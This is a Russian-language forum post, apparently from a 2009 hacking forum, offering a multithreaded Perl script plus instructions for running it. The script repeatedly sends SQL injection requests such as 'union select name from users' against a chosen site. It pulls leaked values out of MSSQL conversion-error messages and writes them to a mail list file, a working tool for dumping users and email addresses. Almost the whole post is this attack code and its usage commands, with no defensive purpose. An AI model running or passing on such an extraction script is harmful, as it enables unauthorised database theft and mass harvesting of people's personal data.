
23.02.2009, 15:03
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме: 12985021
Репутация:
676
|
|
ставишь ActivePerl
сохраняешь код в scr.pl
Код:
#!/usr/bin/perl
use strict;
use LWP 5.64;
use LWP::UserAgent;
use threads; #( 'exit' => 'threads_only' );
print "\nTest file - ";
open(FH, ">>test") and print '[ok]' or print '[!!]';
close(FH);
if(!(defined(@ARGV))){
usage();
}
else{
start(@ARGV);
}
sub start{
my $sh = 1;
my $repeat = pop @ARGV;
my $maxthreads = pop @ARGV;
my $deflink = pop @ARGV;
my $tmp = 1;
while($repeat--){
my $link;
($link = $deflink) =~ s/_sh_/$sh/;
if($tmp < $maxthreads){
$sh++;
threads->create(\&getr, $link)->detach;
}
else{
$sh++;
threads->create(\&getr, $link)->join;
$tmp = 1;
}
$tmp++;
}
}
sub getr{
my $ua = LWP::UserAgent->new;
$ua->agent("Firefox/2.0");
print "\nUrl in thread: $_[0]";
# my $resp = $ua->get($_[0]);
my $resp = HTTP::Request->new(GET => $_[0]);
# $resp->content_type('application/x-www-form-urlencoded');
my $res = $ua->request($resp);
# print "\nGET - [ok]" if $res->is_success;
# print "\nGET - [!!]" if !$res->is_success;
if($res->content){
# open(FH, ">>content.txt");
# print FH $res->content, "\n\n\n===============================\n\n";
# close(FH);
# my @cont = split(/\n/, $res->content);
my @maillist;
# for (@cont){
if($res->content =~ m/[^']+/){
push @maillist, ($res->content =~ m/nvarchar value '([^']+)' to data/gmi);
print "\nMail: ", join("\n", (m/[^']+/g)), "\n";
}
# }
open(FH, ">>maillist.txt");
for (@maillist){
print FH "$_\n"
}
close(FH);
}
# threads->exit();;
}
sub usage{
print "\n\nCoded by unrealm. for PSIH ;) ICQ: 907912";
print "\nUsage: perl scr.pl link max_threads max_sh";
print "\nExample: perl scr.pl http://example.ru/1.php?a=_sh_¶m=12 10 100\n";
exit;
}
Настраиваешь ответы
т.е
push @maillist, ($res->content =~ m/ nvarchar value '([^']+) ' to data/gmi);
запускешь из cmd
example:
scr.pl "http://site.com/index.php?a=id+union+select+name+from+users+limit+ _sh_,1" 10 999
_sh_ - переменная, скрипт будет её перебирать
10 - число потоков
999 - До скольки перебирать _sh_
Последний раз редактировалось aka PSIH; 23.02.2009 в 15:07..
|
|
|